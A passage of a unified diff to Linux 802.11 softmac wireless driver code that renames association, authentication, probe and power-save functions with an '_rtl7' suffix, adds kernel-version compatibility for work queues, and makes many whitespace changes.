memcpy(tag,ieee->current_network.rates,rate_len-2); tag+=rate_len-2; - + *(tag++) = MFIE_TYPE_DS_SET; *(tag++) = 1; *(tag++) = ieee->current_network.channel; - + if(atim_len){ *(tag++) = MFIE_TYPE_IBSS_SET; *(tag++) = 2; *((u16*)(tag)) = cpu_to_le16(ieee->current_network.atim_window); tag+=2; } - + if(erp_len){ *(tag++) = MFIE_TYPE_ERP; *(tag++) = 1; - *(tag++) = 0; + *(tag++) = 0; } - + if(rate_ex_len){ *(tag++) = MFIE_TYPE_RATES_EX; - *(tag++) = rate_ex_len-2; + *(tag++) = rate_ex_len-2; memcpy(tag,ieee->current_network.rates_ex,rate_ex_len-2); tag+=rate_ex_len-2; } @@ -664,208 +670,211 @@ } -struct sk_buff* ieee80211_assoc_resp(struct ieee80211_device *ieee, u8 *dest) +struct sk_buff* ieee80211_assoc_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { struct sk_buff *skb; u8* tag; - + struct ieee80211_crypt_data* crypt; struct ieee80211_assoc_response_frame *assoc; short encrypt; - - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); + + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); int len = sizeof(struct ieee80211_assoc_response_frame) + rate_len; - - skb = dev_alloc_skb(len); - - if (!skb) + + skb = dev_alloc_skb(len); + + if (!skb) return NULL; - + assoc = (struct ieee80211_assoc_response_frame *) skb_put(skb,sizeof(struct ieee80211_assoc_response_frame)); - + assoc->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_ASSOC_RESP); memcpy(assoc->header.addr1, dest,ETH_ALEN); memcpy(assoc->header.addr3, ieee->dev->dev_addr, ETH_ALEN); memcpy(assoc->header.addr2, ieee->dev->dev_addr, ETH_ALEN); - assoc->capability = cpu_to_le16(ieee->iw_mode == IW_MODE_MASTER ? + assoc->capability = cpu_to_le16(ieee->iw_mode == IW_MODE_MASTER ? WLAN_CAPABILITY_BSS : WLAN_CAPABILITY_IBSS); - - + + if(ieee->short_slot) assoc->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_SLOT); - + if (ieee->host_encrypt) crypt = ieee->crypt[ieee->tx_keyidx]; else crypt = NULL; - + encrypt = ( crypt && crypt->ops); - + if (encrypt) assoc->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - + assoc->status = 0; assoc->aid = cpu_to_le16(ieee->assoc_id); if (ieee->assoc_id == 0x2007) ieee->assoc_id=0; else ieee->assoc_id++; - + tag = (u8*) skb_put(skb, rate_len); - - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); - + + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); + return skb; } -struct sk_buff* ieee80211_auth_resp(struct ieee80211_device *ieee,int status, u8 *dest) +struct sk_buff* ieee80211_auth_resp_rtl7(struct ieee80211_device *ieee,int status, u8 *dest) { struct sk_buff *skb; struct ieee80211_authentication *auth; - - skb = dev_alloc_skb(sizeof(struct ieee80211_authentication)+1); - - if (!skb) + + skb = dev_alloc_skb(sizeof(struct ieee80211_authentication)+1); + + if (!skb) return NULL; - + skb->len = sizeof(struct ieee80211_authentication); - + auth = (struct ieee80211_authentication *)skb->data; - + auth->status = cpu_to_le16(status); auth->transaction = cpu_to_le16(2); auth->algorithm = cpu_to_le16(WLAN_AUTH_OPEN); - + memcpy(auth->header.addr3, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr1, dest, ETH_ALEN); - auth->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_AUTH); + auth->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_AUTH); return skb; - - + + } -struct sk_buff* ieee80211_null_func(struct ieee80211_device *ieee,short pwr) +struct sk_buff* ieee80211_null_func_rtl7(struct ieee80211_device *ieee,short pwr) { struct sk_buff *skb; struct ieee80211_hdr_3addr* hdr; - - skb = dev_alloc_skb(sizeof(struct ieee80211_hdr_3addr)); - - if (!skb) + + skb = dev_alloc_skb(sizeof(struct ieee80211_hdr_3addr)); + + if (!skb) return NULL; - + hdr = (struct ieee80211_hdr_3addr*)skb_put(skb,sizeof(struct ieee80211_hdr_3addr)); - + memcpy(hdr->addr1, ieee->current_network.bssid, ETH_ALEN); memcpy(hdr->addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(hdr->addr3, ieee->current_network.bssid, ETH_ALEN); - - hdr->frame_ctl = cpu_to_le16(IEEE80211_FTYPE_DATA | - IEEE80211_STYPE_NULLFUNC | IEEE80211_FCTL_TODS | - (pwr ? IEEE80211_FCTL_PM:0)); - + + hdr->frame_ctl = cpu_to_le16(IEEE80211_FTYPE_DATA | + IEEE80211_STYPE_NULLFUNC | IEEE80211_FCTL_TODS | + (pwr ? IEEE80211_FCTL_PM:0)); + return skb; - - + + } -void ieee80211_resp_to_assoc_rq(struct ieee80211_device *ieee, u8* dest) +void ieee80211_resp_to_assoc_rq_rtl7(struct ieee80211_device *ieee, u8* dest) { - struct sk_buff *buf = ieee80211_assoc_resp(ieee, dest); - + struct sk_buff *buf = ieee80211_assoc_resp_rtl7(ieee, dest); + if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_auth(struct ieee80211_device *ieee, int s, u8* dest) +void ieee80211_resp_to_auth_rtl7(struct ieee80211_device *ieee, int s, u8* dest) { - struct sk_buff *buf = ieee80211_auth_resp(ieee, s, dest); - + struct sk_buff *buf = ieee80211_auth_resp_rtl7(ieee, s, dest); + if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_probe(struct ieee80211_device *ieee, u8 *dest) +void ieee80211_resp_to_probe_rtl7(struct ieee80211_device *ieee, u8 *dest) { - - struct sk_buff *buf = ieee80211_probe_resp(ieee, dest); - - if (buf) - softmac_mgmt_xmit(buf, ieee); + + struct sk_buff *buf = ieee80211_probe_resp_rtl7(ieee, dest); + + if (buf) + softmac_mgmt_xmit_rtl7(buf, ieee); } -inline struct sk_buff *ieee80211_association_req(struct ieee80211_network *beacon,struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_association_req_rtl7(struct ieee80211_network *beacon,struct ieee80211_device *ieee) { struct sk_buff *skb; - + struct ieee80211_assoc_request_frame *hdr; u8 *tag; - + unsigned int wpa_len = beacon->wpa_ie_len; - - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); - - - + + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); + + + int len=sizeof(struct ieee80211_assoc_request_frame)+ + beacon->ssid_len//essid tagged val + rate_len//rates tagged val + wpa_len; - + skb = dev_alloc_skb(len); - - if (!skb) + + if (!skb) return NULL; - + hdr = (struct ieee80211_assoc_request_frame *) skb_put(skb, sizeof(struct ieee80211_assoc_request_frame)); - - + + hdr->header.frame_ctl = IEEE80211_STYPE_ASSOC_REQ; hdr->header.duration_id= 37; //FIXME memcpy(hdr->header.addr1, beacon->bssid, ETH_ALEN); memcpy(hdr->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(hdr->header.addr3, beacon->bssid, ETH_ALEN); - + hdr->capability = cpu_to_le16(WLAN_CAPABILITY_BSS); - if (beacon->capability & WLAN_CAPABILITY_PRIVACY ) + if (beacon->capability & WLAN_CAPABILITY_PRIVACY ) hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - + if(ieee->short_slot) hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_SLOT); - + + if(beacon->capability & WLAN_CAPABILITY_SHORT_PREAMBLE) + hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_PREAMBLE); + hdr->listen_interval = 0xa; //FIXME - + hdr->info_element.id = MFIE_TYPE_SSID; hdr->info_element.len = beacon->ssid_len; tag = skb_put(skb, beacon->ssid_len); memcpy(tag, beacon->ssid, beacon->ssid_len); - - tag = skb_put(skb, rate_len); - - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); - + + tag = skb_put(skb, rate_len); + + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); + tag = skb_put(skb,wpa_len); - + memcpy(tag,beacon->wpa_ie,wpa_len); - + return skb; } -void ieee80211_associate_abort(struct ieee80211_device *ieee) +void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee) { - + unsigned long flags; spin_lock_irqsave(&ieee->lock, flags); - + ieee->associate_seq++; - + /* don't scan, and avoid to have the RX path possibily * try again to associate. Even do not react to AUTH or * ASSOC response. Just wait for the retry wq to be scheduled. @@ -873,166 +882,181 @@ * with, so we retry or just get back to NO_LINK and scanning */ if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING){ - IEEE80211_DEBUG_MGMT("Authentication failed\n"); + IEEE80211_DEBUG_MGMT("Authentication failed\n"); ieee->softmac_stats.no_auth_rs++; }else{ - IEEE80211_DEBUG_MGMT("Association failed\n"); + IEEE80211_DEBUG_MGMT("Association failed\n"); ieee->softmac_stats.no_ass_rs++; } - + ieee->state = IEEE80211_ASSOCIATING_RETRY; - + queue_delayed_work(ieee->wq, &ieee->associate_retry_wq, IEEE80211_SOFTMAC_ASSOC_RETRY_TIME); - + spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_associate_abort_cb(unsigned long dev) +void ieee80211_associate_abort_cb_rtl7(unsigned long dev) { - ieee80211_associate_abort((struct ieee80211_device *) dev); + ieee80211_associate_abort_rtl7((struct ieee80211_device *) dev); } -void ieee80211_associate_step1(struct ieee80211_device *ieee) +void ieee80211_associate_step1_rtl7(struct ieee80211_device *ieee) { struct ieee80211_network *beacon = &ieee->current_network; struct sk_buff *skb; - + IEEE80211_DEBUG_MGMT("Stopping scan\n"); - + ieee->softmac_stats.tx_auth_rq++; - skb=ieee80211_authentication_req(beacon, ieee, 0); - - if (!skb) - ieee80211_associate_abort(ieee); - else{ + skb=ieee80211_authentication_req_rtl7(beacon, ieee, 0); + + if (!skb) + ieee80211_associate_abort_rtl7(ieee); + else{ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATING ; IEEE80211_DEBUG_MGMT("Sending authentication request\n"); - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } } -void ieee80211_auth_challenge(struct ieee80211_device *ieee, u8 *challenge, int chlen) +void ieee80211_auth_challenge_rtl7(struct ieee80211_device *ieee, u8 *challenge, int chlen) { - u8 *c; + u8 *c; struct sk_buff *skb; struct ieee80211_network *beacon = &ieee->current_network; // int hlen = sizeof(struct ieee80211_authentication); - + ieee->associate_seq++; ieee->softmac_stats.tx_auth_rq++; - - skb = ieee80211_authentication_req(beacon, ieee, chlen+2); - if (!skb) - ieee80211_associate_abort(ieee); + + skb = ieee80211_authentication_req_rtl7(beacon, ieee, chlen+2); + if (!skb) + ieee80211_associate_abort_rtl7(ieee); else{ c = skb_put(skb, chlen+2); *(c++) = MFIE_TYPE_CHALLENGE; *(c++) = chlen; memcpy(c, challenge, chlen); - + IEEE80211_DEBUG_MGMT("Sending authentication challenge response\n"); - - ieee80211_encrypt_fragment(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); - - softmac_mgmt_xmit(skb, ieee); + + ieee80211_encrypt_fragment_rtl7(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); + + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } kfree(challenge); } -void ieee80211_associate_step2(struct ieee80211_device *ieee) +void ieee80211_associate_step2_rtl7(struct ieee80211_device *ieee) { struct sk_buff* skb; struct ieee80211_network *beacon = &ieee->current_network; - + del_timer_sync(&ieee->associate_timer); - + IEEE80211_DEBUG_MGMT("Sending association request\n"); - + ieee->softmac_stats.tx_ass_rq++; - skb=ieee80211_association_req(beacon, ieee); - if (!skb) - ieee80211_associate_abort(ieee); + skb=ieee80211_association_req_rtl7(beacon, ieee); + if (!skb) + ieee80211_associate_abort_rtl7(ieee); else{ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } } -void ieee80211_associate_complete_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_complete_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_complete_wq); +#else +void ieee80211_associate_complete_wq_rtl7(struct ieee80211_device *ieee) { +#endif printk(KERN_INFO "Associated successfully\n"); - if(ieee80211_is_54g(ieee->current_network) && +#if 0 + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ - + ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); }else{ ieee->rate = 110; printk(KERN_INFO"Using B rates\n"); } +#else + printk(KERN_INFO"Using %d MBit\n", (ieee->rate/10) ); +#endif ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); + notify_wx_assoc_event_rtl7(ieee); if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); netif_carrier_on(ieee->dev); } -void ieee80211_associate_complete(struct ieee80211_device *ieee) +void ieee80211_associate_complete_rtl7(struct ieee80211_device *ieee) { del_timer_sync(&ieee->associate_timer); - + ieee->seq_ctrl = 0; ieee->state = IEEE80211_LINKED; IEEE80211_DEBUG_MGMT("Successfully associated\n"); - + queue_work(ieee->wq, &ieee->associate_complete_wq); } -void ieee80211_associate_procedure_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_procedure_wq_rtl7(struct work_struct *work) { + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_procedure_wq); +#else +void ieee80211_associate_procedure_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - - ieee80211_stop_scan(ieee); + + ieee80211_stop_scan_rtl7(ieee); ieee->set_chan(ieee->dev, ieee->current_network.channel); - + ieee->associate_seq = 1; - ieee80211_associate_step1(ieee); - + ieee80211_associate_step1_rtl7(ieee); + up(&ieee->wx_sem); } -inline void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net) +inline void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net) { - + u8 tmp_ssid[IW_ESSID_MAX_SIZE+1]; int tmp_ssid_len = 0; - + short apset,ssidset,ssidbroad,apmatch,ssidmatch; - - /* we are interested in new new only if we are not associated + + /* we are interested in new new only if we are not associated * and we are not associating / authenticating */ if (ieee->state != IEEE80211_NOLINK) - return; - + return; + if ((ieee->iw_mode == IW_MODE_INFRA) && !(net->capability & WLAN_CAPABILITY_BSS)) return; - + if ((ieee->iw_mode == IW_MODE_ADHOC) && !(net->capability & WLAN_CAPABILITY_IBSS)) return; - + if (ieee->iw_mode == IW_MODE_INFRA || ieee->iw_mode == IW_MODE_ADHOC){ /* if the user specified the AP MAC, we need also the essid * This could be obtained by beacons or, if the network does not @@ -1043,23 +1067,23 @@ ssidbroad = !(net->ssid_len == 0 || net->ssid[0]== '\0'); apmatch = (memcmp(ieee->current_network.bssid, net->bssid, ETH_ALEN)==0); ssidmatch = (0==strncmp(ieee->current_network.ssid, net->ssid, net->ssid_len)); - - - + + + if ( /* if the user set the AP check if match. * if the network does not broadcast essid we check the user supplyed ANY essid * if the network does broadcast and the user does not set essid it is OK * if the network does broadcast and the user did set essid chech if essid match */ - ( apset && apmatch && - ((ssidset && ssidbroad && ssidmatch) || (ssidbroad && !ssidset) || (!ssidbroad && ssidset)) ) || + ( apset && apmatch && + ((ssidset && ssidbroad && ssidmatch) || (ssidbroad && !ssidset) || (!ssidbroad && ssidset)) ) || /* if the ap is not set, check that the user set the bssid * and the network does bradcast and that those two bssid matches - */ - (!apset && ssidset && ssidbroad && ssidmatch) + */ + (!apset && ssidset && ssidbroad && ssidmatch) ){ - - + + /* if the essid is hidden replace it with the * essid provided by the user. */ @@ -1068,18 +1092,19 @@ tmp_ssid_len = ieee->current_network.ssid_len; } memcpy(&ieee->current_network, net, sizeof(struct ieee80211_network)); - + if (!ssidbroad){ strncpy(ieee->current_network.ssid, tmp_ssid, IW_ESSID_MAX_SIZE); ieee->current_network.ssid_len = tmp_ssid_len; } - printk(KERN_INFO"Linking with %s\n",ieee->current_network.ssid); - + printk(KERN_INFO"Linking with \"%s\" rate: %d MBit\n",ieee->current_network.ssid, (ieee->rate/10)); + if (ieee->iw_mode == IW_MODE_INFRA){ ieee->state = IEEE80211_ASSOCIATING; queue_work(ieee->wq, &ieee->associate_procedure_wq); }else{ - if(ieee80211_is_54g(ieee->current_network) && +#if 0 + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); @@ -1087,44 +1112,45 @@ ieee->rate = 110; printk(KERN_INFO"Using B rates\n"); } +#else + printk(KERN_INFO"Using %d MBit\n", (ieee->rate/10) ); +#endif ieee->state = IEEE80211_LINKED; } - + } } - } -void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee) +void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee) { - + unsigned long flags; struct ieee80211_network *target; - + spin_lock_irqsave(&ieee->lock, flags); - list_for_each_entry(target, &ieee->network_list, list) { - + /* if the state become different that NOLINK means * we had found what we are searching for */ - if (ieee->state != IEEE80211_NOLINK) + if (ieee->state != IEEE80211_NOLINK) break; - + //if (ieee->scan_age == 0 || time_after(target->last_scanned + ieee->scan_age, jiffies)) - ieee80211_softmac_new_net(ieee, target); + ieee80211_softmac_new_net_rtl7(ieee, target); } - + spin_unlock_irqrestore(&ieee->lock, flags); - + } -static inline u16 auth_parse(struct sk_buff *skb, u8** challenge, int *chlen) +static inline u16 auth_parse_rtl7(struct sk_buff *skb, u8** challenge, int *chlen) { struct ieee80211_authentication *a; u8 *t; - if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ + if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ IEEE80211_DEBUG_MGMT("invalid len in auth resp: %d\n",skb->len); return 0xcafe; } @@ -1132,58 +1158,58 @@ a = (struct ieee80211_authentication*) skb->data; if(skb->len > (sizeof(struct ieee80211_authentication) +3)){ t = skb->data + sizeof(struct ieee80211_authentication); - + if(*(t++) == MFIE_TYPE_CHALLENGE){ *chlen = *(t++); *challenge = (u8*)kmalloc(*chlen, GFP_ATOMIC); memcpy(*challenge, t, *chlen); } } - + return cpu_to_le16(a->status); - + } -int auth_rq_parse(struct sk_buff *skb,u8* dest) +int auth_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_authentication *a; - - if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ - IEEE80211_DEBUG_MGMT("invalid len in auth request: %d\n",skb->len); + + if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ + IEEE80211_DEBUG_MGMT("invalid len in auth request: %d\n",skb->len); return -1; } a = (struct ieee80211_authentication*) skb->data; - + memcpy(dest,a->header.addr2, ETH_ALEN); - - if (le16_to_cpu(a->algorithm) != WLAN_AUTH_OPEN) + + if (le16_to_cpu(a->algorithm) != WLAN_AUTH_OPEN) return WLAN_STATUS_NOT_SUPPORTED_AUTH_ALG; - + return WLAN_STATUS_SUCCESS; } -static short probe_rq_parse(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) +static short probe_rq_parse_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) { u8 *tag; u8 *skbend; u8 *ssid=NULL; u8 ssidlen = 0; - + struct ieee80211_hdr_3addr *header = (struct ieee80211_hdr_3addr *) skb->data; - - if (skb->len < sizeof (struct ieee80211_hdr_3addr )) + + if (skb->len < sizeof (struct ieee80211_hdr_3addr )) return -1; /* corrupted */ - + memcpy(src,header->addr2, ETH_ALEN); - + skbend = (u8*)skb->data + skb->len; - + tag = skb->data + sizeof (struct ieee80211_hdr_3addr ); - + while (tag+1 < skbend){ - if (*tag == 0){ + if (*tag == 0){ ssid = tag+2; ssidlen = *(tag+1); break; @@ -1192,88 +1218,88 @@ tag = tag + *(tag); /* point to the last data byte of the tag */ tag++; /* point to the next tag */ } - + //IEEE80211DMESG("Card MAC address is "MACSTR, MAC2STR(src)); if (ssidlen == 0) return 1; - + if (!ssid) return 1; /* ssid not found in tagged param */ return (!strncmp(ssid, ieee->current_network.ssid, ssidlen)); - + } -int assoc_rq_parse(struct sk_buff *skb,u8* dest) +int assoc_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_assoc_request_frame *a; - - if (skb->len < (sizeof(struct ieee80211_assoc_request_frame) - - sizeof(struct ieee80211_info_element))) { - + + if (skb->len < (sizeof(struct ieee80211_assoc_request_frame) - + sizeof(struct ieee80211_info_element))) { + IEEE80211_DEBUG_MGMT("invalid len in auth request:%d \n", skb->len); return -1; } - + a = (struct ieee80211_assoc_request_frame*) skb->data; - + memcpy(dest,a->header.addr2,ETH_ALEN); - + return 0; } -static inline u16 assoc_parse(struct sk_buff *skb, int *aid) +static inline u16 assoc_parse_rtl7(struct sk_buff *skb, int *aid) { struct ieee80211_assoc_response_frame *a; - if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ + if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ IEEE80211_DEBUG_MGMT("invalid len in auth resp: %d\n", skb->len); return 0xcafe; } - + a = (struct ieee80211_assoc_response_frame*) skb->data; *aid = le16_to_cpu(a->aid) & 0x3fff; return le16_to_cpu(a->status); } static inline void -ieee80211_rx_probe_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_probe_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; - + //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_probe_rq++; //DMESG("Dest is "MACSTR, MAC2STR(dest)); - if (probe_rq_parse(ieee, skb, dest)){ + if (probe_rq_parse_rtl7(ieee, skb, dest)){ //IEEE80211DMESG("Was for me!"); ieee->softmac_stats.tx_probe_rs++; - ieee80211_resp_to_probe(ieee, dest); + ieee80211_resp_to_probe_rtl7(ieee, dest); } } static inline void -ieee80211_rx_auth_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_auth_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; int status; //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_auth_rq++; - - if ((status = auth_rq_parse(skb, dest))!= -1){ - ieee80211_resp_to_auth(ieee, status, dest); + + if ((status = auth_rq_parse_rtl7(skb, dest))!= -1){ + ieee80211_resp_to_auth_rtl7(ieee, status, dest); } //DMESG("Dest is "MACSTR, MAC2STR(dest)); - + } static inline void -ieee80211_rx_assoc_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_assoc_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { - + u8 dest[ETH_ALEN]; //unsigned long flags; - + ieee->softmac_stats.rx_ass_rq++; - if (assoc_rq_parse(skb,dest) != -1){ - ieee80211_resp_to_assoc_rq(ieee, dest); + if (assoc_rq_parse_rtl7(skb,dest) != -1){ + ieee80211_resp_to_assoc_rq_rtl7(ieee, dest); } - + printk(KERN_INFO"New client associated: "MAC_FMT"\n", MAC_ARG(dest)); //FIXME #if 0 @@ -1285,25 +1311,25 @@ -void ieee80211_sta_ps_send_null_frame(struct ieee80211_device *ieee, short pwr) +void ieee80211_sta_ps_send_null_frame_rtl7(struct ieee80211_device *ieee, short pwr) { - - struct sk_buff *buf = ieee80211_null_func(ieee, pwr); - + + struct sk_buff *buf = ieee80211_null_func_rtl7(ieee, pwr); + if (buf) - softmac_ps_mgmt_xmit(buf, ieee); + softmac_ps_mgmt_xmit_rtl7(buf, ieee); -} +} -short ieee80211_sta_ps_sleep(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) -{ +short ieee80211_sta_ps_sleep_rtl7(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) +{ int timeout = ieee->ps_timeout; u8 dtim; /*if(ieee->ps == IEEE80211_PS_DISABLED || - ieee->iw_mode != IW_MODE_INFRA || + ieee->iw_mode != IW_MODE_INFRA || ieee->state != IEEE80211_LINKED) - + return 0; */ dtim = ieee->current_network.dtim_data; @@ -1312,133 +1338,133 @@ return 0; //printk("VALID\n"); ieee->current_network.dtim_data = IEEE80211_DTIM_INVALID; - + if(dtim & ((IEEE80211_DTIM_UCAST | IEEE80211_DTIM_MBCAST)& ieee->ps)) return 2; - + if(!time_after(jiffies, ieee->dev->trans_start + MSECS(timeout))) return 0; - + if(!time_after(jiffies, ieee->last_rx_ps_time + MSECS(timeout))) return 0; - + if((ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE ) && (ieee->mgmt_queue_tail != ieee->mgmt_queue_head)) return 0; - + if(time_l){ - *time_l = ieee->current_network.last_dtim_sta_time[0] - + (ieee->current_network.beacon_interval + *time_l = ieee->current_network.last_dtim_sta_time[0] + + (ieee->current_network.beacon_interval * ieee->current_network.dtim_period) * 1000; } - + if(time_h){ *time_h = ieee->current_network.last_dtim_sta_time[1]; if(time_l && *time_l < ieee->current_network.last_dtim_sta_time[0]) *time_h += 1; } - + return 1; - - + + } -inline void ieee80211_sta_ps(struct ieee80211_device *ieee) +inline void ieee80211_sta_ps_rtl7(struct ieee80211_device *ieee) { u32 th,tl; short sleep; - + unsigned long flags,flags2; - + spin_lock_irqsave(&ieee->lock, flags); - + if((ieee->ps == IEEE80211_PS_DISABLED || - ieee->iw_mode != IW_MODE_INFRA || + ieee->iw_mode != IW_MODE_INFRA || ieee->state != IEEE80211_LINKED)){ - - #warning CHECK_LOCK_HERE + +// #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - - ieee80211_sta_wakeup(ieee, 1); - + + ieee80211_sta_wakeup_rtl7(ieee, 1); + printk(KERN_WARNING "wakeup 1!\n" ); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } - - sleep = ieee80211_sta_ps_sleep(ieee,&th, &tl); + + sleep = ieee80211_sta_ps_sleep_rtl7(ieee,&th, &tl); /* 2 wake, 1 sleep, 0 do nothing */ if(sleep == 0) goto out; - + if(sleep == 1){ - + if(ieee->sta_sleep == 1) ieee->enter_sleep_state(ieee->dev,th,tl); - + else if(ieee->sta_sleep == 0){ // printk("send null 1\n"); spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - + if(ieee->ps_is_queue_empty(ieee->dev)){ - - + + ieee->sta_sleep = 2; - + ieee->ps_request_tx_ack(ieee->dev); - - ieee80211_sta_ps_send_null_frame(ieee,1); - + + ieee80211_sta_ps_send_null_frame_rtl7(ieee,1); + ieee->ps_th = th; ieee->ps_tl = tl; - } + } spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); - + } - - + + }else if(sleep == 2){ -#warning CHECK_LOCK_HERE +// #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - - ieee80211_sta_wakeup(ieee,1); - + + ieee80211_sta_wakeup_rtl7(ieee,1); + printk(KERN_WARNING "wakeup 2!\n" ); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } -out: +out: spin_unlock_irqrestore(&ieee->lock, flags); - + } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl) +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl) { if(ieee->sta_sleep == 0){ if(nl){ printk("Warning: driver is probably failing to report TX ps error\n"); ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } return; - + } - - if(ieee->sta_sleep == 1) + + if(ieee->sta_sleep == 1) ieee->sta_wake_up(ieee->dev); - + ieee->sta_sleep = 0; - + if(nl){ ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } } -void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success) +void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success) { unsigned long flags,flags2; - + spin_lock_irqsave(&ieee->lock, flags); - + if(ieee->sta_sleep == 2){ /* Null frame with PS bit set */ if(success){ @@ -1451,10 +1477,10 @@ } /* 21112005 - tx again null without PS bit if lost */ else { - + if((ieee->sta_sleep == 0) && !success){ spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } } @@ -1462,129 +1488,132 @@ } inline int -ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { struct ieee80211_hdr_3addr *header; - header 